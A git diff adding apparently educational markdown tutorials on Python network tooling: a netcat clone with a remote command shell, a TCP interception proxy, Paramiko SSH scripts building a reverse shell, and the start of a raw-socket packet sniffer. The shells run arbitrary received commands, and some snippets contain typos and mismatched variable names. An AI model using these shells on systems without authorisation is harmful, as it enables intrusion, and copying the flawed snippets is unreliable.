+ print "netcat_awesome.py -t localhost -p 5000 -l -c"
+ print "netcat_awesome.py -t localhost -p 5000 -l -u=example.exe"
+ print "netcat_awesome.py -t localhost -p 5000 -l -e='ls'"
+ print "echo 'AAAAAA' | ./netcat_awesome.py -t localhost -p 5000"
+ sys.exit(0)
+```
+
+## Parsing Arguments in the Main Function
+Now, before we dive in each specific functions, let's see what the **main** function does. First, it reads the arguments and parses them using **getopt**. Then, it processes them. Finally, the program decides if it is a client or a server, with the constant **LISTEN**:
+
+```python
+import socket
+import sys
+import getopt
+import threading
+import subprocess
+
+LISTEN = False
+COMMAND = False
+UPLOAD = False
+EXECUTE = ''
+TARGET = ''
+UP_DEST = ''
+PORT = 0
+
+def main():
+ global LISTEN
+ global PORT
+ global EXECUTE
+ global COMMAND
+ global UP_DEST
+ global TARGET
+
+ if not len(sys.argv[1:]):
+ usage()
+
+ try:
+ opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu", \
+ ["help", "LISTEN", "EXECUTE", "TARGET", "PORT", "COMMAND", "UPLOAD"])
+ except getopt.GetoptError as err:
+ print str(err)
+ usage()
+
+ for o, a in opts:
+ if o in ('-h', '--help'):
+ usage()
+ elif o in ('-l', '--listen'):
+ LISTEN = True
+ elif o in ('-e', '--execute'):
+ EXECUTE = a
+ elif o in ('-c', '--commandshell'):
+ COMMAND = True
+ elif o in ('-u', '--upload'):
+ UP_DEST = a
+ elif o in ('-t', '--target'):
+ TARGET = a
+ elif o in ('-p', '--port'):
+ PORT = int(a)
+ else:
+ assert False, "Unhandled option"
+
+ # NETCAT client
+ if not LISTEN and len(TARGET) and PORT > 0:
+ buffer = sys.stdin.read()
+ client_sender(buffer)
+
+ # NETCAT server
+ if LISTEN:
+ if not len(TARGET):
+ TARGET = '0.0.0.0'
+ server_loop()
+
+if __name__ == '__main__':
+ main()
+```
+
+
+### The Client Function
+The **client_sender** function is very similar to the netcat client snippet we have seen above. It creates a socket object and then it goes to a loop to send/receive data:
+
+```python
+def client_sender(buffer):
+ client = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
+
+ try:
+ client.connect(( TARGET, PORT ))
+
+ # test to see if received any data
+ if len(buffer):
+ client.send(buffer)
+
+ while True:
+ # wait for data
+ recv_len = 1
+ response = ''
+
+ while recv_len:
+ data = client.recv(4096)
+ recv_len = len(data)
+ response += data
+ if recv_len < 4096:
+ break
+ print response
+
+ # wait for more input until there is no more data
+ buffer = raw_input('')
+ buffer += '\n'
+
+ client.send(buffer)
+
+ except:
+ print '[*] Exception. Exiting.'
+ client.close()
+```
+
+### The Server Functions
+Now, let's take a look into the **server_loop** function, which is very similar to the TCP server script we saw before:
+
+```python
+def server_loop():
+ server = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
+ server.bind(( TARGET, PORT ))
+ server.listen(5)
+
+ while True:
+ client_socket, addr = server.accept()
+ client_thread = threading.Thread( target =client_handler, \
+ args=(client_socket,))
+ client_thread.start()
+```
+
+The **threading** function calls **client_handler** which will either upload a file or execute a command (in a particular shell named *NETCAT*):
+```python
+
+def client_handler(client_socket):
+ global UPLOAD
+ global EXECUTE
+ global COMMAND
+
+ # check for upload
+ if len(UP_DEST):
+ file_buf = ''
+
+ # keep reading data until no more data is available
+ while 1:
+ data = client_socket.recv(1024)
+ if data:
+ file_buffer += data
+ else:
+ break
+
+ # try to write the bytes (wb for binary mode)
+ try:
+ with open(UP_DEST, 'wb') as f:
+ f.write(file_buffer)
+ client_socket.send('File saved to %s\r\n' % UP_DEST)
+ except:
+ client_socket.send('Failed to save file to %s\r\n' % UP_DEST)
+
+ # Check for command execution:
+ if len(EXECUTE):
+ output = run_command(EXECUTE)
+ client_socket.send(output)
+
+ # Go into a loop if a command shell was requested
+ if COMMAND:
+ while True:
+ # show a prompt:
+ client_socket.send('NETCAT: ')
+ cmd_buffer = ''
+
+ # scans for a newline character to determine when to process a command
+ while '\n' not in cmd_buffer:
+ cmd_buffer += client_socket.recv(1024)
+
+ # send back the command output
+ response = run_command(cmd_buffer)
+ client_socket.send(response)
+```
+
+Observe the two last lines above. The program calls the function **run_command** which use the **subprocess** library to allow a process-creation interface. This gives a number of ways to start and interact with client programs:
+
+```python
+def run_command(command):
+ command = command.rstrip()
+ print command
+ try:
+ output = subprocess.check_output(command, stderr=subprocess.STDOUT, \
+ shell=True)
+ except:
+ output = "Failed to execute command.\r\n"
+ return output
+```
+
+### Firing Up a Server and a Client
+Now we can put everything together and run the script as a server in a terminal and as a client in another. Running as a server:
+
+```bash
+$ netcat_awesome.py -l -p 9000 -c
+```
+
+And as a client (to get the shell, press CTRL+D for EOF):
+
+```bash
+$ python socket/netcat_awesome.py -t localhost -p 9000
+NETCAT:
+ls
+crack_linksys.py
+netcat_awesome.py
+netcat_simple.py
+reading_socket.py
+tcp_client.py
+tcp_server.py
+udp_client.py
+NETCAT:
+```
+
+### The Good 'n' Old Request
+
+Additionally, we can use our client to send out requests:
+
+```bash
+$ echo -ne "GET / HTTP/1.1\nHost: www.google.com\r\n\r\n" | python socket/netcat_awesome.py -t www.google.com -p 80
+HTTP/1.1 200 OK
+Date: Tue, 16 Dec 2014 21:04:27 GMT
+Expires: -1
+Cache-Control: private, max-age=0
+Content-Type: text/html; charset=ISO-8859-1
+Set-Cookie: PREF=ID=56f21d7bf67d66e0:FF=0:TM=1418763867:LM=1418763867:S=cI2xRwXGjb6bGx1u; expires=Thu, 15-Dec-2016 21:04:27 GMT; path=/; domain=.google.com
+Set-Cookie: NID=67=ZGlY0-8CjkGDtTz4WwR7fEHOXGw-VvdI9f92oJKdelRgCxllAXoWfCC5vuQ5lJRFZIwghNRSxYbxKC0Z7ve132WTeBHOCHFB47Ic14ke1wdYGzevz8qFDR80fpiqHwMf; expires=Wed, 17-Jun-2015 21:04:27 GMT; path=/; domain=.google.com; HttpOnly
+P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
+Server: gws
+X-XSS-Protection: 1; mode=block
+X-Frame-Options: SAMEORIGIN
+Alternate-Protocol: 80:quic,p=0.02
+Transfer-Encoding: chunked
+(...)
+```
+
+Cool, huh?
+
+------
+
+## A TCP Proxy
+
+A TCP proxy can be very useful for forwarding traffic and when assessing network-based software (for example, when you cannot run [Wireshark](http://bt3gl.github.io/wiresharking-for-fun-or-profit.html), or you cannot load drivers or tools in the machine you are exploiting).
+
+To create a proxy we need to verify if we need to *first initiate a connection* to the remote side. This will request data before going into our main loop, and some server daemons expect you to do this first (for instance, FTP servers send a banner first). We call this information **receive_first**.
+
+
+### The Main Function
+So let us start with our **main** function. First, we define the usage, which should have four more arguments together with **receive_first**. Then we check these arguments to variables and start a listening socket:
+
+```python
+import socket
+import threading
+import sys
+
+def main():
+ if len(sys.argv[1:]) != 5:
+ print "Usage: ./proxy.py <localhost> <localport> <remotehost> <remoteport> <receive_first>"
+ print "Example: ./proxy.py 127.0.0.1 9000 10.12.122.1 9999 True"
+ sys.exit()
+
+ local_host = sys.argv[1]
+ local_port = int(sys.argv[2])
+ remote_host = sys.argv[3]
+ remote_port = int(sys.argv[4])
+
+ if sys.argv[5] == 'True':
+ receive_first = True
+ else:
+ receive_first = False
+
+ server_loop(local_host, local_port, remote_host, remote_port, receive_first)
+```
+
+
+### The Server Loop Function
+
+Like before we start creating a socket and binding this to a port and a host. Then we start a loop that accepts incoming connections and spawns a thread to the new connection:
+
+```python
+def server_loop(local_host, local_port, remote_host, remote_port, receive_first):
+ server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+ try:
+ server.bind(( local_host, local_port))
+ except:
+ print "[!!] Failed to listen on %s:%d" % (local_host, local_port)
+ sys.exit()
+
+ print "[*] Listening on %s:%d" % (local_host, local_port)
+ server.listen(5)
+
+ while 1:
+ client_socket, addr = server.accept()
+ print "[==>] Received incoming connection from %s:%d" %(addr[0], addr[1])
+
+ # start a thread to talk to the remote host
+ proxy = threading.Thread(target=proxy_handler, \
+ args=(client_socket, remote_host, remote_port, receive_first))
+ proxy.start()
+```
+
+### The Proxy Handler Functions
+
+In the last two lines of the above snippet, the program spawns a thread for the function **proxy_handler** which we show below. This function creates a TCP socket and connects to the remote host and port. It then checks for the **receive_first** parameter. Finally, it goes to a loop where it:
+
+1. reads from localhost (with the function **receive_from**),
+2. processes (with the function **hexdump**),
+3. sends to a remote host (with the function **response_handler** and **send**),
+4. reads from a remote host (with the function **receive_from**),
+5. processes (with the function **hexdump**), and
+6. sends to localhost (with the function **response_handler** and **send**).
+
+This keeps going until the loop is stopped, which happens when both local and remote buffers are empty. Let's take a look:
+
+```python
+def proxy_handler(client_socket, remote_host, remote_port, receive_first):
+ remote_socket = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
+ remote_socket.connect(( remote_host, remote_port ))
+
+ if receive_first:
+ remote_buffer = receive_from(remote_socket)
+ hexdump(remote_buffer)
+ remote_buffer = response_handler(remote_buffer)
+
+ # if we have data to send to client, send it:
+ if len(remote_buffer):
+ print "[<==] Sending %d bytes to localhost." %len(remote_buffer)
+ client_socket.send(remote_buffer)
+
+ while 1:
+ local_buffer = receive_from(client_socket)
+ if len(local_buffer):
+ print "[==>] Received %d bytes from localhost." % len(local_buffer)
+ hexdump(local_buffer)
+ local_buffer = request_handler(local_buffer)
+ remote_socket.send(local_buffer)
+ print "[==>] Sent to remote."
+
+ remote_buffer = receive_from(remote_socket)
+ if len(remote_buffer):
+ print "[==>] Received %d bytes from remote." % len(remote_buffer)
+ hexdump(remote_buffer)
+ remote_buffer = response_handler(remote_buffer)
+ client_socket.send(remote_buffer)
+ print "[==>] Sent to localhost."
+
+ if not len(local_buffer) or not len(remote_buffer):
+ client_socket.close()
+ remote_socket.close()
+ print "[*] No more data. Closing connections"
+ break
+```
+
+
+The **receive_from** function takes a socket object and performs the receive, dumping the contents of the packet:
+
+```python
+def receive_from(connection):
+ buffer = ''
+ connection.settimeout(2)
+ try:
+ while True:
+ data = connection.recv(4096)
+ if not data:
+ break
+ buffer += data
+ except:
+ pass
+ return buffer
+```
+
+The **response_handler** function is used to modify the packet contents from the inbound traffic (for example, to perform fuzzing, test for authentication, etc). The function **request_handler** does the same for outbound traffic:
+
+```python
+def request_handler(buffer):
+ # perform packet modifications
+ buffer += ' Yaeah!'
+ return buffer
+
+def response_handler(buffer):
+ # perform packet modifications
+ return buffer
+```
+
+
+Finally, the function **hexdump** outputs the packet details with hexadecimal and ASCII characters:
+
+```python
+def hexdump(src, length=16):
+ result = []
+ digists = 4 if isinstance(src, unicode) else 2
+ for i in range(len(src), lenght):
+ s = src[i:i+length]
+ hexa = b' '.join(['%0*X' % (digits, ord(x)) for x in s])
+ text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
+ result.append(b"%04X %-*s %s" % (i, length*(digits + 1), hexa, text))
+```
+
+
+
+### Firing Up our Proxy
+
+Now we need to run our script with some server. For example, for an FTP server at the standard port 21:
+```sh
+$ sudo ./tcp_proxy.py localhost 21 ftp.target 21 True
+[*] Listening on localhost:21
+(...)
+```
+
+
+
+
+---
+## Extra Stuff: The socket Object Methods
+
+Additionally, let's take a quick look to all the methods available with the **socket** object from the **socket** module. I think it's useful to have an idea of this list:
+
+* **socket.accept()**: Accept a connection.
+
+* **socket.bind(address)**: Bind the socket to address.
+
+* **socket.close()**: Close the socket.
+
+* **socket.fileno()**: Return the socket's file descriptor.
+
+* **socket.getpeername()**: Return the remote address to which the socket is connected.
+
+* **socket.getsockname()**: Return the socket's own address.
+
+* **socket.getsockopt(level, optname[, buflen])**: Return the value of the given socket option.
+
+* **socket.listen(backlog)**: Listen for connections made to the socket. The backlog argument specifies the maximum number of queued connections.
+
+* **socket.makefile([mode[, bufsize]])**: Return a file object associated with the socket.
+
+* **socket.recv(bufsize[, flags])**: Receive data from the socket.
+
+* **socket.recvfrom(bufsize[, flags])**: Receive data from the socket.
+
+* **socket.recv_into(buffer[, nbytes[, flags]])**: Receive up to nbytes bytes from the socket, storing the data into a buffer rather than creating a new string.
+
+* **socket.send(string[, flags])**: Send data to the socket.
+
+* **socket.sendall(string[, flags])**: Send data to the socket.
+
+* **socket.sendto(string, address)**: Send data to the socket.
+
+* **socket.setblocking(flag)**: Set blocking or non-blocking mode of the socket.
+
+* **socket.settimeout(value)**: Set a timeout on blocking socket operations.
+
+* **socket.gettimeout()**: Return the timeout in seconds associated with socket operations, or None if no timeout is set.
+
+* **socket.setsockopt(level, optname, value)**: Set the value of the given socket option.
+
+* **socket.shutdown(how)**: Shut down one or both halves of the connection.
+
+* **socket.family**: The socket family.
+
+* **socket.type**: The socket type.
+
+* **socket.proto**: The socket protocol.
+
+
+
+## Further References:
+
+- [Python's Socket Documentation](https://docs.python.org/2/library/socket.html)
+- [Black Hat Python](http://www.nostarch.com/blackhatpython).
+- [My Gray hat repo](https://github.com/bt3gl/My-Gray-Hacker-Resources).
+- [A TCP Packet Injection tool](https://github.com/OffensivePython/Pinject/blob/master/pinject.py).
+- [An asynchronous HTTP Proxy](https://github.com/OffensivePython/PyProxy/blob/master/PyProxy.py).
+- [A network sniffer at the Network Layer](https://github.com/OffensivePython/Sniffy/blob/master/Sniffy.py).
+- [A Guide to Network Programming in C++](http://beej.us/guide/bgnet/output/html/multipage/index.html).

Network_and_802.11/ssh_scripting.md

@@ -0,0 +1,365 @@
+# Python's Paramiko Module and SSH scripting
+
+
+**Paramiko** uses [PyCrypto](https://www.dlitz.net/software/pycrypto/) to give us access to the [SSH2 protocol](http://en.wikipedia.org/wiki/SSH2), and it has a flexible and easy to use API.
+
+## A Simple SSH Client
+
+The first program we are going to write is an SSH client that makes a connection to some available SSH server, and then runs a single command that we send to it.
+
+But before we start, make sure you have  **paramiko** installed in our environment:
+
+```sh
+$ sudo pip install paramiko
+```
+
+###  Writing the SSH  Client Script
+Now we are ready to create our script. We start with a **usage** function. Since **paramiko** supports authentication with both a password and/or an identity file (a key), our usage function shows how to send these arguments when we run the script (plus the port, username, and the command we want to run):
+
+```python
+def usage():
+    print "Usage: ssh_client.py  <IP> -p <PORT> -u <USER> -c <COMMAND> -a <PASSWORD> -k <KEY> -c <COMMAND>"
+    print "  -a                  password authentication"
+    print "  -i                  identity file location"
+    print "  -c                  command to be issued"
+    print "  -p                  specify the port"
+    print "  -u                  specify the username"
+    print
+    print "Examples:"
+    print "ssh_client.py 129.49.76.26 -u buffy -p 22 -a killvampires  -c pwd"
+    sys.exit()
+```
+
+Moving to the **main** function, we are going to use **getopt** module to parse the arguments. That's basically what the main function does: parse the arguments, sending them to the **ssh_client** function:
+
+```python
+import paramiko
+import sys
+import getopt
+
+def main():
+    if not len(sys.argv[1:]):
+        usage()
+
+    IP = '0.0.0.0'
+    USER = ''
+    PASSWORD = ''
+    KEY = ''
+    COMMAND = ''
+    PORT = 0
+
+    try:
+        opts = getopt.getopt(sys.argv[2:],"p:u:a:i:c:", \
+            ["PORT", "USER", "PASSWORD", "KEY", "COMMAND"])[0]
+    except getopt.GetoptError as err:
+        print str(err)
+        usage()
+
+    IP = sys.argv[1]
+    print "[*] Initializing connection to " + IP
+
+    # Handle the options and arguments
+    for t in opts:
+        if t[0] in ('-a'):
+            PASSWORD = t[1]
+        elif t[0] in ('-i'):
+            KEY = t[1]
+        elif t[0] in ('-c'):
+            COMMAND = t[1]
+        elif t[0] in ('-p'):
+            PORT = int(t[1])
+        elif t[0] in ('-u'):
+            USER = t[1]
+        else:
+            print "This option does not exist!"
+            usage()
+    if USER:
+        print "[*] User set to " + USER
+    if PORT:
+        print "[*] The port to be used is %d. " % PORT
+    if PASSWORD:
+        print "[*] A password with length %d was submitted. " %len(PASSWORD)
+    if KEY:
+        print "[*] The key at %s will be used." % KEY
+    if COMMAND:
+        print "[*] Executing the command '%s' in the host..." % COMMAND
+    else:
+        print "You need to specify the command to the host."
+        usage()
+
+    # start the client
+    ssh_client(IP, PORT, USER, PASSWORD, KEY, COMMAND)
+
+if __name__ == '__main__':
+    main()
+```
+
+The magic happens in the **ssh_client** function, which performs the following steps:
+
+1. Creates a paramiko ssh client object.
+2. Checks if the key variable is not empty, and in this case,  loads it. If the key is not found, the program sets the policy to accept the SSH key for the SSH server (if we don't do this, an exception is raised saying that the server is not found in known_hosts).
+3. Makes the connection and creates a session.
+4. Checks whether this section is active and runs the command we sent.
+
+Let's see how this works in the code:
+
+```python
+def ssh_client(ip, port, user, passwd, key, command):
+    client = paramiko.SSHClient()
+
+    if key:
+        client.load_host_keys(key)
+    else:
+        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+
+    client.connect(ip, port=port, username=user, password=passwd)
+    ssh_session = client.get_transport().open_session()
+
+    if ssh_session.active:
+        ssh_session.exec_command(command)
+        print
+        print ssh_session.recv(4096)
+```
+
+Easy, huh?
+
+### Running the Script
+
+We are ready to run our script. If we use the example in the usage function (and supposing the account exists in that host), we will see the following:
+
+```sh
+$ ssh_client.py 129.49.76.26 -u buffy -p 22 -a killvampires  -c pwd
+[*] Initializing connection to 129.49.76.26
+[*] User set to buffy
+[*] The port to be used is 22.
+[*] A password with length 12 was submitted.
+[*] Executing the command 'pwd' in the host...
+
+/home/buffy.
+```
+
+-----
+
+## A SSH Server to Reverse a Client Shell
+
+What if we also control the SSH server and we are able to send commands to our SSH client? This is exactly what we are going to do now: we are going to write a **class** for this server (with a little help of the **socket** module) and then we will be able to **reverse the shell**!
+
+
+As a note, this script is based in some of the [paramiko demos](https://github.com/paramiko/paramiko/blob/master/demo) and we specifically use the key from their demo files ([download here](https://github.com/paramiko/paramiko/blob/master/demos/test_rsa.key)).
+
+
+### The SSH Server
+
+In our server script, we first create a class **Server** that issues a new thread event, checking whether the session is valid, and performing authentication. Notice that for simplicity we are hard-coding the values for username, password and host key, which is never a good practice:
+
+```python
+HOST_KEY = paramiko.RSAKey(filename='test_rsa.key')
+USERNAME = 'buffy'
+PASSWORD = 'killvampires'
+
+class Server(paramiko.ServerInterface):
+    def __init__(self):
+        self.event = threading.Event()
+    def check_channel_request(self, kind, chanid):
+        if kind == 'session':
+            return paramiko.OPEN_SUCCEEDED
+        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
+    def check_auth_password(self, username, password):
+        if (username == USERNAME) and (password == PASSWORD):
+            return paramiko.AUTH_SUCCESSFUL
+        return paramiko.AUTH_FAILED
+```
+
+Now, let's take a look at the **main** function, which does the following:
+
+1. Creates a socket object to bind the host and port, so it can listen for incoming connections.
+2. Once a connection is established (the client tried to connect to the server and the socket accepted the connection), it creates a **paramiko** [Transport](http://docs.paramiko.org/en/1.15/api/transport.html) object for this socket. In paramiko there are two main communication methods: *Transport*, which makes and maintains the encrypted connection, and *Channel*, which is like a socket for sending/receiving data over the encrypted session (the other three are Client, Message, and Packetizer).
+3. The program instantiates a **Server** object and starts the paramiko session with it.
+4. Authentication is attempted. If it is successful, we get a **ClientConnected** message.
+5. The server starts a loop where it will keep getting input commands from the user and issuing it in the client. This is our reversed shell!
+
+```python
+import paramiko
+import getopt
+import threading
+import sys
+import socket
+
+def main():
+    if not len(sys.argv[1:]):
+        print "Usage: ssh_server.py <SERVER>  <PORT>"
+        sys.exit(0)
+
+    # creating a socket object
+    server = sys.argv[1]
+    ssh_port = int(sys.argv[2])
+    try:
+        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        sock.bind((server, ssh_port))
+        sock.listen(100)
+        print "[+] Listening for connection ..."
+        client, addr = sock.accept()
+    except Exception, e:
+        print "[-] Connection Failed: " + str(e)
+        sys.exit(1)
+    print "[+] Connection Established!"
+
+    # creating a paramiko object
+    try:
+        Session = paramiko.Transport(client)
+        Session.add_server_key(HOST_KEY)
+        paramiko.util.log_to_file("filename.log")
+        server = Server()
+        try:
+            Session.start_server(server=server)
+        except paramiko.SSHException, x:
+            print '[-] SSH negotiation failed.'
+        chan = Session.accept(10)
+        print '[+] Authenticated!'
+        chan.send("Welcome to Buffy's SSH")
+        while 1:
+            try:
+                command = raw_input("Enter command: ").strip('\n')
+                if command != 'exit':
+                    chan.send(command)
+                    print chan.recv(1024) + '\n'
+                else:
+                    chan.send('exit')
+                    print '[*] Exiting ...'
+                    session.close()
+                    raise Exception('exit')
+            except KeyboardInterrupt:
+                session.close()
+
+    except Exception, e:
+        print "[-] Caught exception: " + str(e)
+        try:
+            session.close()
+        except:
+            pass
+        sys.exit(1)
+
+if __name__ == '__main__':
+    main()
+```
+
+
+
+### The SSH Client
+
+The last piece for our reversed shell is to make the SSH client to be able to receive commands from the server.
+
+We are going to adapt the previous client script to receive these commands. All we need to do is to add a loop inside the session:
+
+```python
+import paramiko
+import sys
+import getopt
+import subprocess
+
+def usage():
+    print "Usage: ssh_client.py  <IP> -p <PORT> -u <USER> -c <COMMAND> -a <PASSWORD>"
+    print "  -a                  password authentication"
+    print "  -p                  specify the port"
+    print "  -u                  specify the username"
+    print
+    print "Examples:"
+    print "ssh_client.py localhost -u buffy -p 22 -a killvampires"
+    sys.exit()
+
+def ssh_client(ip, port, user, passwd):
+    client = paramiko.SSHClient()
+    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+    client.connect(ip, port=port, username=user, password=passwd)
+    ssh_session = client.get_transport().open_session()
+    if ssh_session.active:
+        print ssh_session.recv(1024)
+        while 1:
+            command = ssh_session.recv(1024)
+            try:
+                cmd_output = subprocess.check_output(command, shell=True)
+                ssh_session.send(cmd_output)
+            except Exception, e:
+                ssh_session.send(str(e))
+        client.close()
+
+def main():
+    if not len(sys.argv[1:]):
+        usage()
+    IP = '0.0.0.0'
+    USER = ''
+    PASSWORD = ''
+    PORT = 0
+    try:
+        opts = getopt.getopt(sys.argv[2:],"p:u:a:", \
+            ["PORT", "USER", "PASSWORD"])[0]
+    except getopt.GetoptError as err:
+        print str(err)
+        usage()
+    IP = sys.argv[1]
+    print "[*] Initializing connection to " + IP
+    for t in opts:
+        if t[0] in ('-a'):
+            PASSWORD = t[1]
+        elif t[0] in ('-p'):
+            PORT = int(t[1])
+        elif t[0] in ('-u'):
+            USER = t[1]
+        else:
+            print "This option does not exist!"
+            usage()
+    if USER:
+        print "[*] User set to " + USER
+    if PORT:
+        print "[*] The port to be used is %d. " % PORT
+    if PASSWORD:
+        print "[*] A password with length %d was submitted. " %len(PASSWORD)
+    ssh_client(IP, PORT, USER, PASSWORD)
+
+if __name__ == '__main__':
+    main()
+```
+
+### Running both Scripts
+Let's run each script in a different terminal. First, the server:
+```bash
+$ ssh_server.py localhost 22
+[+] Listening for connection ...
+```
+
+Then the client:
+```sh
+$ ssh_client_reverse.py localhost -p 22 -u buffy -a killvampires
+[*] Initializing connection to localhost
+[*] User set to buffy
+[*] The port to be used is 22.
+[*] A password with length 12 was submitted.
+Welcome to Buffy's SSH
+```
+
+Now we can send any command from the server side to run in the client: we have a reversed shell!
+
+```sh
+[+] Listening for connection ...
+[+] Connection Established!
+[+] Authenticated!
+Enter command: ls
+filename.log
+ssh_client.py
+ssh_client_reverse.py
+ssh_server.py
+test_rsa.key
+
+Enter command:
+```
+
+
+---
+
+## Further References:
+
+- [Paramikos reverse SSH tunneling](https://github.com/paramiko/paramiko/blob/master/demos/rforward.py).
+- [Ogre: port scanner and brute-force tool (from a friend I met at Hacker School)](https://github.com/tristanfisher/ogre/blob/master/ogre)
+- [Black Hat Python](http://www.nostarch.com/blackhatpython).
+- [My Gray hat repo](https://github.com/bt3gl/My-Gray-Hacker-Resources).

Network_and_802.11/udp_scanner.md

@@ -0,0 +1,319 @@
+# Building a UDP Scanner
+
+
+When it comes to the reconnaissance of some target network, the start point is undoubtedly on host discovering. This task might come together with the ability to sniff and parse the packets flying through the network.
+
+First, we are going to see how we deal with [raw sockets](http://en.wikipedia.org/wiki/Raw_socket) to write a simple sniffer, which is able to view and decode network packets. Then we are going to multithread this process within a subnet, which will result in our scanner.
+
+The cool thing about **raw sockets** is that they allow access to low-level networking information. For example, we can use it to check **IP** and **ICMP** headers, which are in layer 3 of the OSI model (the network layer).
+
+The cool thing about using **UDP datagrams** is that, differently from **TCP**, they do not bring much overhead when sent across an entire subnet (remember the TCP [handshaking](http://www.inetdaemon.com/tutorials/internet/tcp/3-way_handshake.shtml)). All we need to do is wait for the **ICMP** responses saying whether the hosts are available or closed (unreachable).
+Remember that ICMP is essentially a special control protocol that issues error reports and can control the behavior of machines in data transfer.
+
+----
+
+##  Writing a Packet Sniffer
+
+We start with a  very simple task: with Python's  [socket](http://bt3gl.github.io/black-hat-python-networking-the-socket-module.html) library, we will write a very simple packet sniffer.
+
+In this sniffer, we create a raw socket and then we bind it to the public interface. The interface should be in **promiscuous mode**, which means that every packet that the network card sees is captured, even those that are not destined to the host.
+
+One detail to remember is that things are slightly different if we are using Windows: in this case, we need to send a [IOCTL](http://en.wikipedia.org/wiki/Ioctl) package to set the interface to **promiscuous mode**. In addition, while Linux needs to use ICMP, Windows allows us to sniff the incoming packets independently of the protocol:
+
+
+```python
+import socket
+import os
+
+# host to listen
+HOST = '192.168.1.114'
+
+def sniffing(host, win, socket_prot):
+    while 1:
+        sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_prot)
+        sniffer.bind((host, 0))
+
+        # include the IP headers in the captured packets
+        sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
+
+        if win == 1:
+            sniffer.ioctl(socket.SIO_RCVALL, socket_RCVALL_ON)
+
+        # read in a single packet
+        print sniffer.recvfrom(65565)
+
+def main(host):
+    if os.name == 'nt':
+        sniffing(host, 1, socket.IPPROTO_IP)
+    else:
+        sniffing(host, 0, socket.IPPROTO_ICMP)
+
+if __name__ == '__main__':
+    main(HOST)
+```
+
+To test this script, we run the following command in one terminal window:
+```sh
+$ sudo python sniffer.py
+```
+
+Then, in a second  window, we can  [ping](http://en.wikipedia.org/wiki/Ping_(networking_utility)) or [traceroute](http://en.wikipedia.org/wiki/Traceroute) some address, for example [www.google.com](www.google.com). The results will look like this:
+
+```sh
+$ sudo python raw_socket.py
+('E\x00\x00T\xb3\xec\x00\x005\x01\xe4\x13J}\xe1\x11\xc0\xa8\x01r\x00\x00v\xdfx\xa2\x00\x01sr\x98T\x00\x00\x00\x008\xe3\r\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567', ('74.125.225.17', 0))
+('E\x00\x00T\xb4\x1b\x00\x005\x01\xe3\xe4J}\xe1\x11\xc0\xa8\x01r\x00\x00~\xd7x\xa2\x00\x02tr\x98T\x00\x00\x00\x00/\xea\r\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567', ('74.125.225.17', 0))
+```
+
+Now it's pretty obvious that we need to decode these headers.
+
+----
+
+## Decoding the IP and ICMP Layers
+
+### The IP Header
+A typical IP header has the following structure, where each field belongs to a variable (this header is originally [written in C](http://minirighi.sourceforge.net/html/structip.html)):
+
+![cyber](http://i.imgur.com/3fmVLJS.jpg)
+
+
+### The ICMP Header
+In the same way, ICMP can vary in its content but each message contains three elements that are consistent: **type** and **code** (tells the receiving host what type of ICMP message is arriving for decoding) and **checksum** fields.
+
+![cyber](http://i.imgur.com/gsUPKRa.gif)
+
+
+For our scanner, we are looking for a **type value of 3** and a **code value of 3**, which are the **Destination Unreachable** class and **Port Unreachable** [errors in ICMP messages](http://en.wikipedia.org/wiki/Internet_Control_Message_Protocol#Control_messages).
+
+
+To represent this header, we create a class, with the help of Python's [ctypes](https://docs.python.org/2/library/ctypes.html) library:
+
+```python
+import ctypes
+
+class ICMP(ctypes.Structure):
+    _fields_ = [
+    ('type',        ctypes.c_ubyte),
+    ('code',        ctypes.c_ubyte),
+    ('checksum',    ctypes.c_ushort),
+    ('unused',      ctypes.c_ushort),
+    ('next_hop_mtu',ctypes.c_ushort)
+    ]
+
+    def __new__(self, socket_buffer):
+        return self.from_buffer_copy(socket_buffer)
+
+    def __init__(self, socket_buffer):
+        pass
+```
+
+### Writing the Header Decoder
+
+Now we are ready to write our IP/ICMP header decoder. The script below creates a sniffer socket (just as we did before) and then it runs a loop to continually read in packets and decode their information.
+
+Notice that for the IP header, the code reads the packet, unpacks the first 20 bytes to the raw buffer, and then prints the header variables. The ICMP header data comes right after it:
+
+```python
+import socket
+import os
+import struct
+import ctypes
+from ICMPHeader import ICMP
+
+# host to listen on
+HOST = '192.168.1.114'
+
+def main():
+    socket_protocol = socket.IPPROTO_ICMP
+    sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
+    sniffer.bind(( HOST, 0 ))
+    sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
+
+    while 1:
+        raw_buffer = sniffer.recvfrom(65565)[0]
+        ip_header = raw_buffer[0:20]
+        iph = struct.unpack('!BBHHHBBH4s4s' , ip_header)
+
+        # Create our IP structure
+        version_ihl = iph[0]
+        version = version_ihl >> 4
+        ihl = version_ihl & 0xF
+        iph_length = ihl * 4
+        ttl = iph[5]
+        protocol = iph[6]
+        s_addr = socket.inet_ntoa(iph[8]);
+        d_addr = socket.inet_ntoa(iph[9]);
+
+        print 'IP -> Version:' + str(version) + ', Header Length:' + str(ihl) + \
+        ', TTL:' + str(ttl) + ', Protocol:' + str(protocol) + ', Source:'\
+         + str(s_addr) + ', Destination:' + str(d_addr)
+
+        # Create our ICMP structure
+        buf = raw_buffer[iph_length:iph_length + ctypes.sizeof(ICMP)]
+        icmp_header = ICMP(buf)
+
+        print "ICMP -> Type:%d, Code:%d" %(icmp_header.type, icmp_header.code) + '\n'
+
